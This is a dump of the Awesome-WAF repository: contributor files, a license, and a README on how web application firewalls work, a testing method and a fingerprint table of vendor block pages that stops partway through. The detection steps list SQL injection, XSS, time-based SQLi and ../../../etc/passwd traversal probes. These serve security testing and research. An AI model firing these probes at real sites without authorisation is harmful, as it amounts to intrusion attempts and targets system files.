Showing preview only (220K chars total). Download the full file or copy to clipboard to get everything.
Repository: 0xInfection/Awesome-WAF
Branch: master
Commit: 8cdeddb29095
Files: 7
Total size: 213.7 KB
Directory structure:
gitextract_qiof5t2g/
├── CODE_OF_CONDUCT.md
├── CONTRIBUTING.md
├── LICENSE
├── README.md
├── others/
│ ├── README.md
│ └── obfu.py
└── papers/
└── Beyond SQLi - Obfuscate and Bypass WAFs.txt
================================================
FILE CONTENTS
================================================
================================================
FILE: CODE_OF_CONDUCT.md
================================================
# Contributor Covenant Code of Conduct
## Our Pledge
In the interest of fostering an open and welcoming environment, we as
contributors and maintainers pledge to making participation in our project and
our community a harassment-free experience for everyone, regardless of age, body
size, disability, ethnicity, sex characteristics, gender identity and expression,
level of experience, education, socio-economic status, nationality, personal
appearance, race, religion, or sexual identity and orientation.
## Our Standards
Examples of behavior that contributes to creating a positive environment
include:
* Using welcoming and inclusive language
* Being respectful of differing viewpoints and experiences
* Gracefully accepting constructive criticism
* Focusing on what is best for the community
* Showing empathy towards other community members
Examples of unacceptable behavior by participants include:
* The use of sexualized language or imagery and unwelcome sexual attention or
advances
* Trolling, insulting/derogatory comments, and personal or political attacks
* Public or private harassment
* Publishing others' private information, such as a physical or electronic
address, without explicit permission
* Other conduct which could reasonably be considered inappropriate in a
professional setting
## Our Responsibilities
Project maintainers are responsible for clarifying the standards of acceptable
behavior and are expected to take appropriate and fair corrective action in
response to any instances of unacceptable behavior.
Project maintainers have the right and responsibility to remove, edit, or
reject comments, commits, code, wiki edits, issues, and other contributions
that are not aligned to this Code of Conduct, or to ban temporarily or
permanently any contributor for other behaviors that they deem inappropriate,
threatening, offensive, or harmful.
## Scope
This Code of Conduct applies both within project spaces and in public spaces
when an individual is representing the project or its community. Examples of
representing a project or community include using an official project e-mail
address, posting via an official social media account, or acting as an appointed
representative at an online or offline event. Representation of a project may be
further defined and clarified by project maintainers.
## Enforcement
Instances of abusive, harassing, or otherwise unacceptable behavior may be
reported by contacting the project team at theinfecteddrake@gmail.com. All
complaints will be reviewed and investigated and will result in a response that
is deemed necessary and appropriate to the circumstances. The project team is
obligated to maintain confidentiality with regard to the reporter of an incident.
Further details of specific enforcement policies may be posted separately.
Project maintainers who do not follow or enforce the Code of Conduct in good
faith may face temporary or permanent repercussions as determined by other
members of the project's leadership.
## Attribution
This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4,
available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html
[homepage]: https://www.contributor-covenant.org
For answers to common questions about this code of conduct, see
https://www.contributor-covenant.org/faq
================================================
FILE: CONTRIBUTING.md
================================================
I appreciate and recognize [all contributors](https://github.com/0xInfection/awesome-waf/graphs/contributors).
> First of all thank you for even considering of contributing to this awesome list. __"The community just learns from each other"__.
## Table of Contents
- [Contribution guidelines](#contribution-guidelines)
- [Quality Standard](#quality-standard)
- [Adding to this list](#adding-to-this-list)
- [Adding something to an awesome list](#adding-something-to-an-awesome-list)
- [Updating your Pull Request](#updating-your-pull-request)
## Contribution Guidelines
__Your pull request/commit message will be a tweet, please keep that in mind.__ :)
- **To add to the list:** Submit a pull request.
- **To remove from the list:** Submit a pull request.
- Want to change something: Submit a pull request.
- Want to try something else: Submit a pull request.
- Don't know what to do: Submit a pull request or open an issue, let me know what's going on.
[Awesome-WAF](https://github.com/0xinfection/awesome-waf) is a hand-crafted list for high-quality information about web application firewalls and its resources. Following items are recommended to be kept in mind.
- If you are submitting a new fingerprint, include the headers/page source, etc.
- Do not include the URL as it may expose the integrity of the site.
> I will contact you personally if necessary via email.
- Item you're adding should not be duplicate, no redirection (be careful with `http` vs `https`!).
- The link should be the name of the slide or project or website.
- Description should be clear and concise (read it out loud to be sure).
- Description should follow the link, on the same line.
- if you want to add more than one link, please don't do all PR on the exact same line, it usually results in conflicts and your PR cannot be automatically merged.
Please contribute links to slides/tools you have used or are familiar with. This will help ensure high-quality entries.
## Quality Standard
Note that we can help you achieve those standards, just try your best, be brave.
We'll guide you to the best of our abilities.
To be on the list, it would be *nice* if entries adhere to these quality standards:
- Generally useful to the community.
- Clearly stating "what is it for": mention the problem it solves. Just try your best, make it clear for the next person.
- Solves a real problem (even a small one)
- If your PR is a **WIP** (work in progress, not safe for production), mention it.
If your PR is not merged, I will tell you why so that you may be able to improve it.
## Contribution Guidelines
### Adding to this List
Please ensure your pull request adheres to the following guidelines:
- Search previous suggestions before making a new one, as yours may be a duplicate.
- Make sure the list is useful before submitting. That implies it has enough content and every item has a good succinct description.
- Make an individual pull request for each suggestion.
- Use [title-casing](http://titlecapitalization.com) (AP style).
- Use the following format: `[List Name](link)`
- Link additions should be added to the bottom of the relevant category.
- New categories or improvements to the existing categorization are welcome.
- Check your spelling and grammar.
- Make sure your text editor is set to remove trailing whitespace.
- The pull request and commit should have a useful title.
- The body of your commit message should contain a link to the repository.
Thank you for your contributions!
### Adding something to an Awesome List
If you have something awesome to contribute to an awesome list, this is how you do it.
You'll need a [GitHub account](https://github.com/join)!
1. Access the awesome list's GitHub page. For example: https://github.com/sindresorhus/awesome
2. Click on the `readme.md` file:
3. Now click on the edit icon.
4. You can start editing the text of the file in the in-browser editor. Make sure you follow guidelines above. You can use [GitHub Flavored Markdown](https://help.github.com/articles/github-flavored-markdown/).
5. Say why you're proposing the changes, and then click on "Propose file change".
6. Submit the [pull request](https://help.github.com/articles/using-pull-requests/)!
### Updating your Pull Request
Sometimes, a maintainer of an awesome list will ask you to edit your Pull Request before it is included. This is normally due to spelling errors or because your PR didn't match the awesome-* list guidelines.
[Here](https://github.com/RichardLitt/knowledge/blob/master/github/amending-a-commit-guide.md) is a write up on how to change a Pull Request, and the different ways you can do that.
================================================
FILE: LICENSE
================================================
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding those notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "{}"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. We also recommend that a
file or class name and description of purpose be included on the
same "printed page" as the copyright notice for easier
identification within third-party archives.
Copyright {yyyy} {name of copyright owner}
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
================================================
FILE: README.md
================================================
# Awesome WAF [](https://github.com/0xinfection/awesome-waf)
Everything about web application firewalls (WAFs) from a security perspective. 🔥
>
> __Foreword:__ This was originally my own collection on WAFs. I am open-sourcing it in the hope that it will be useful for pentesters and researchers out there.As the saying goes, "the community just learns from each other."
__A Concise Definition:__ A firewall is a security policy enforcement point positioned between a web application and the client endpoint. This functionality can be implemented in software or hardware, running in an appliance device, or in a typical server running a common operating system. It may be a stand-alone device or integrated into other network components. *(Source: [PCI DSS IS 6.6](https://www.pcisecuritystandards.org/documents/information_supplement_6.6.pdf))*
A web-application firewall sits between a user and a webapp and is tasked to prevent any malicious activity from reaching the webapp. A WAF either filters out the malicious part of the request or just simply blocks it.
Feel free to [contribute](CONTRIBUTING.md).
### Contents:
- [Introduction](#introduction)
- [How WAFs Work](#how-wafs-work)
- [Operation Modes](#operation-modes)
- [Testing Methodology](#testing-methodology)
- [Where To Look](#where-to-look)
- [Detection Techniques](#detection-techniques)
- [WAF Fingerprints](#waf-fingerprints)
- [Evasion Techniques](#evasion-techniques)
- [Fuzzing/Bruteforcing](#fuzzingbruteforcing)
- [Regex Reversing](#regex-reversing)
- [Obfuscation/Encoding](#obfuscation)
- [Browser Bugs](#browser-bugs)
- [HTTP Header Spoofing](#request-header-spoofing)
- [Google Dorks Approach](#google-dorks-approach)
- [Known Bypasses](#known-bypasses)
- [Awesome Tooling](#awesome-tools)
- [Fingerprinting](#fingerprinting)
- [Testing](#testing)
- [Evasion](#evasion)
- [Blogs & Writeups](#blogs-and-writeups)
- [Video Presentations](#video-presentations)
- [Research Presentations & Papers](#presentations--research-papers)
- [Research Papers](#research-papers)
- [Presentation Slides](#presentations)
- [Licensing & Credits](#credits--license)
## Introduction:
### How WAFs Work:
- Using a set of rules to distinguish between normal requests and malicious requests.
- Sometimes they use a learning mode to add rules automatically through learning about user behaviour.
### Operation Modes:
- __Negative Model (Blacklist based)__ - A blacklisting model uses pre-set signatures to block requests that are clearly malicious. The signatures of WAFs operating in a negative model are specifically crafted to prevent attacks which exploit certain web application vulnerabilities. Blacklisting model web application firewalls are a great choice for web applications exposed to the public internet and are highly effective against major vulnerabilities. Eg. Rule for blocking all `<script>*</script>` inputs prevent basic cross-site scripting attacks.
- __Positive Model (Whitelist based)__ - A whitelisting model only allows web traffic according to specifically configured criteria. For example, it can be configured to only allow HTTP GET requests from certain IP addresses. This model can be very effective for blocking potential large scale attacks, but will also block a lot of legitimate traffic. Whitelisting model firewalls are probably best for web applications on an internal network that are designed to be used by only a limited group of people, such as employees.
- __Mixed/Hybrid Model (Inclusive model)__ - A hybrid security model blends both whitelisting and blacklisting. Depending on all sorts of configuration specifics, hybrid firewalls could be the best choice for both web applications on internal networks and web applications on the public internet. A good scenario can be when web-application is facing the public internet (use blacklists) while the admin panel needs to be exposed to only a subset of users (use whitelists).
## Testing Methodology:
### Where To Look:
- Always look out for common ports that expose that a WAF, namely `80`, `443`, `8000`, `8080` and `8888` ports. However, its important to note that a WAF can be easily deployed on any port running a HTTP service. It is good to enumerate HTTP service ports first hand and then look for WAFs.
- Some WAFs set their own cookies in requests (e.g. Citrix Netscaler, Yunsuo WAF).
- Some associate themselves with separate headers (e.g. Anquanbao WAF, Amazon AWS WAF).
- Some often alter headers and jumble characters to confuse attacker (e.g. Netscaler, Big-IP).
- Some expose themselves in the `Server` header (e.g. Approach, WTS WAF).
- Some WAFs expose themselves in the response content (e.g. DotDefender, Armor, Sitelock).
- Other WAFs reply with unusual response codes upon malicious requests (e.g. WebKnight, 360 WAF).
### Detection Techniques:
To identify WAFs, we need to (dummy) provoke it.
1. Make a normal GET request from a browser, intercept and record response headers (specifically cookies).
2. Make a request from command line (eg. cURL), and test response content and headers (no user-agent included).
3. Make GET requests to random open ports and grab banners which might expose the WAFs identity.
4. On login pages, inject common (easily detectable) payloads like `" or 1 = 1 --`.
5. Inject noisy payloads like `<script>alert()</script>` into search bars, contact forms and other input fields.
6. Attach a dummy `../../../etc/passwd` to a random parameter at end of URL.
7. Append some catchy keywords like `' OR SLEEP(5) OR '` at end of URLs to any random parameter.
8. Make GET requests with outdated protocols like `HTTP/0.9` (`HTTP/0.9` does not support POST type queries).
9. Many a times, the WAF varies the `Server` header upon different types of interactions.
10. Drop Action Technique - Send a raw crafted FIN/RST packet to server and identify response.
> __Tip:__ This method could be easily achieved with tools like [HPing3](http://www.hping.org) or [Scapy](https://scapy.net).
11. Side Channel Attacks - Examine the timing behaviour of the request and response content.
> __Tip:__ More details can be found in a [blogpost here](https://0xinfection.github.io/posts/fingerprinting-wafs-side-channel/).
## WAF Fingerprints
Wanna fingerprint WAFs? Lets see how.
> __NOTE__: This section contains manual WAF detection techniques. You might want to switch over to [next section](#evasion-techniques).
<table>
<tr>
<td align="center"><b>WAF</b></td>
<td align="center"><b>Fingerprints</b></td>
</tr>
<tr>
<td>
360
</td>
<td>
<ul>
<li><b>Detectability:</b> Easy </li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Returns status code <code>493</code> upon unusual requests.</li>
<li>Blockpage may contain reference to <code>wzws-waf-cgi/</code> directory.</li>
<li>Blocked response page source may contain:
<ul>
<li>Reference to <code>wangshan.360.cn</code> URL.</li>
<li><code>Sorry! Your access has been intercepted because your links may threaten website security.</code> text snippet.</li>
</ul>
<li>Response headers may contain <code>X-Powered-By-360WZB</code> header.</li>
<li>Blocked response headers contain unique header <code>WZWS-Ray</code>.</li>
<li><code>Server</code> header may contain value <code>qianxin-waf</code>.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
aeSecure
</td>
<td>
<ul>
<li><b>Detectability: </b>Moderate</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response content contains <code>aesecure_denied.png</code> image (view source to see).</li>
<li>Response headers contain <code>aeSecure-code</code> value.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Airlock
</td>
<td>
<ul>
<li><b>Detectability: </b>Moderate/Difficult</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li><code>Set-Cookie</code> headers may contain:</li>
<ul>
<li><code>AL-SESS</code> cookie field name (case insensitive).</li>
<li><code>AL-LB</code> value (case insensitive).</li>
</ul>
<li>Blocked response page contains:</li>
<ul>
<li><code>Server detected a syntax error in your request</code> text.</li>
<li><code>Check your request and all parameters</code> text snippet.</li>
</ul>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
AlertLogic
</td>
<td>
<ul>
<li><b>Detectability:</b> Difficult</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response page contains:</li>
<ul>
<li><code>We are sorry, but the page you are looking for cannot be found</code> text snippet.</li>
<li><code>The page has either been removed, renamed or temporarily unavailable</code> text.</li>
<li><code>404 Not Found</code> in red letters.</li>
</ul>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Aliyundun
</td>
<td>
<ul>
<li><b>Detectability:</b> Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response page contains:</li>
<ul>
<li><code>Sorry, your request has been blocked as it may cause potential threats to the server's security</code> text snippet.</li>
<li>Reference to <code>errors.aliyun.com</code> site URL.</li>
</ul>
<li>Blocked response code returned is <code>405</code>.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Anquanbao
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Returns blocked HTTP response code <code>405</code> upon malicious requests.</li>
<li>Blocked response content may contain <code>/aqb_cc/error/</code> or <code>hidden_intercept_time</code>.</li>
<li>Response headers contain <code>X-Powered-by-Anquanbao</code> header field.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Anyu
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response content contains <code>Sorry! your access has been intercepted by AnYu</code></li>
<li>Blocked response page contains <code>AnYu- the green channel</code> text.</li>
<li>Response headers may contain unusual header <code>WZWS-RAY</code>.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Approach
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response page content may contain:</li>
<ul>
<li><code>Approach Web Application Firewall Framework</code> heading.</li>
<li><code>Your IP address has been logged and this information could be used by authorities to track you.</code> warning.</li>
<li><code>Sorry for the inconvenience!</code> keyword.</li>
<li><code>Approach infrastructure team</code> text snippet.</li>
</ul>
<li><code>Server</code> header has field value set to <code>Approach</code>.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Armor Defense
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response content contains:
<ul>
<li><code>This request has been blocked by website protection from Armor</code> text.</li>
<li><code>If you manage this domain please create an Armor support ticket</code> snippet.</li>
</ul>
</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
ArvanCloud
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li><code>Server</code> header contains <code>ArvanCloud</code> keyword.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
ASPA
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li><code>Server</code> header contains <code>ASPA-WAF</code> keyword.</li>
<li>Response contain unique header <code>ASPA-Cache-Status</code> with content <code>HIT</code> or <code>MISS</code>.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
ASP.NET Generic
</td>
<td>
<ul>
<li><b>Detectability: </b>Moderate</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response headers may contain <code>X-ASPNET-Version</code> header value.</li>
<li>Blocked response page content may contain:</li>
<ul>
<li><code>This generic 403 error means that the authenticated user is not authorized to use the requested resource</code>.</li>
<li><code>Error Code 0x00000000<</code> keyword.</li>
</ul>
<li><code>X-Powered-By</code> header has field value set to <code>ASP.NET</code>.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Astra
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response page content may contain:</li>
<ul>
<li><code>Sorry, this is not allowed.</code> in <code>h1</code>.</li>
<li><code>our website protection system has detected an issue with your IP address and wont let you proceed any further</code> text snippet.</li>
<li>Reference to <code>www.getastra.com/assets/images/</code> URL.</li>
</ul>
<li>Response cookies has field value <code>cz_astra_csrf_cookie</code> in response headers.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
AWS ELB
</td>
<td>
<ul>
<li><b>Detectability: </b>Moderate</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response headers might contain:
<ul>
<li><code>AWSALB</code> cookie field value.</li>
<li><code>X-AMZ-ID</code> header.</li>
<li><code>X-AMZ-REQUEST-ID</code> header.</li>
</ul>
</li>
<li>Response page may contain:
<ul>
<li><code>Access Denied</code> in their keyword.</li>
<li>Request token ID with length from 20 to 25 between <code>RequestId</code> tag.</li>
</ul>
</li>
<li><code>Server</code> header field contains <code>awselb/2.0</code> value.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Baidu Yunjiasu
</td>
<td>
<ul>
<li><b>Detectability: </b>Moderate</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li><code>Server</code> header may contain <code>Yunjiasu-nginx</code> value.</li>
<li><code>Server</code> header may contain <code>Yunjiasu</code> value.
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Barikode
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response page content contains:
<ul>
<li><code>BARIKODE</code> keyword.</li>
<li><code>Forbidden Access</code> text snippet in <code>h1</code>.</li>
</ul>
</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Barracuda
</td>
<td>
<ul>
<li><b>Detectability: </b>Moderate</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response cookies may contain <code>barra_counter_session</code> value.</li>
<li>Response headers may contain <code>barracuda_</code> keyword.</li>
</ul>
<li>Response page contains:</li>
<ul>
<li><code>You have been blocked</code> heading.</li>
<li><code>You are unable to access this website</code> text.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Bekchy
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response headers contains <code>Bekchy - Access Denied</code>.</li>
<li>Blocked response page contains reference to <code>https://bekchy.com/report</code>.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
BinarySec
</td>
<td>
<ul>
<li><b>Detectability: </b>Moderate</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response headers contain:</li>
<ul>
<li><code>X-BinarySec-Via</code> field.</li>
<li><code>X-BinarySec-NoCache</code> field.</li>
<li><code>Server</code> header contains <code>BinarySec</code> keyword.</li>
</ul>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
BitNinja
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response page may contain:</li>
<ul>
<li><code>Security check by BitNinja</code> text snippet.</li>
<li><code>your IP will be removed from BitNinja</code>.</li>
<li><code>Visitor anti-robot validation</code> text snippet.</li>
<li><code>(You will be challenged by a reCAPTCHA page)</code> text.</li>
</ul>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
BIG-IP ASM
</td>
<td>
<ul>
<li><b>Detectability: </b>Moderate</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response headers may contain <code>BigIP</code> or <code>F5</code> keyword value.</li>
<li>Response header fields may contain <code>X-WA-Info</code> header.</li>
<li>Response headers might have jumbled <code>X-Cnection</code> field value.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
BlockDos
</td>
<td>
<ul>
<li><b>Detectability: </b>Moderate</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li><code>Server</code> header contains value <code>BlockDos.net</code>.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Bluedon IST
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li><code>Server</code> header contains <code>BDWAF</code> field value.</li>
<li>Blocked response page contains to <code>Bluedon Web Application Firewall</code> text snippet..</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
BulletProof Security Pro
</td>
<td>
<ul>
<li><b>Detectability: </b>Moderate</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response page contains:
<ul>
<li><code>div</code> with id as <code>bpsMessage</code> text snippet.</li>
<li><code>If you arrived here due to a search or clicking on a link click your Browser's back button to return to the previous page.</code> text snippet.</li>
</ul>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
CDN NS Application Gateway
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response page contains <code>CdnNsWAF Application Gateway</code> text snippet.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Cerber (WordPress)
</td>
<td>
<ul>
<li><b>Detectability: </b>Difficult</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response page contains:
<ul>
<li><code>We're sorry, you are not allowed to proceed</code> text snippet.</li>
<li><code>Your request looks suspicious or similar to automated requests from spam posting software</code> warning.</li>
</ul>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Chaitin Safeline
</td>
<td>
<ul>
<li><b>Detectability: </b>Difficult</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response page contains <code>event_id</code> keyword within HTML comments.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
ChinaCache
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response headers contain <code>Powered-by-ChinaCache</code> field.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Cisco ACE XML Gateway
</td>
<td>
<ul>
<li><b>Detectability: </b>Moderate</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li><code>Server</code> header has value <code>ACE XML Gateway</code> set.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Cloudbric
</td>
<td>
<ul>
<li><b>Detectability: </b>Moderate</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response content contains:</li>
<ul>
<li><code>Malicious Code Detected</code> heading.</li>
<li><code>Your request was blocked by Cloudbric</code> text snippet.</li>
<li>Reference to <code>https://cloudbric.zendesk.com</code> URL.
<li><code>Cloudbric Help Center</code> text.</li>
<li>Page title starting with <code>Cloudbric | ERROR!</code>.</li>
</ul>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Cloudflare
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response headers might have <code>cf-ray</code> field value.</li>
<li><code>Server</code> header field has value <code>cloudflare</code>.</li>
<li><code>Set-Cookie</code> response headers have <code>__cfuid=</code> cookie field.</li>
<li>Page content might have <code>Attention Required!</code> or <code>Cloudflare Ray ID:</code>.</li>
<li>Page content may contain <code>DDoS protection by Cloudflare</code>as text.</li>
<li>You may encounter <code>CLOUDFLARE_ERROR_500S_BOX</code> upon hitting invalid URLs.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
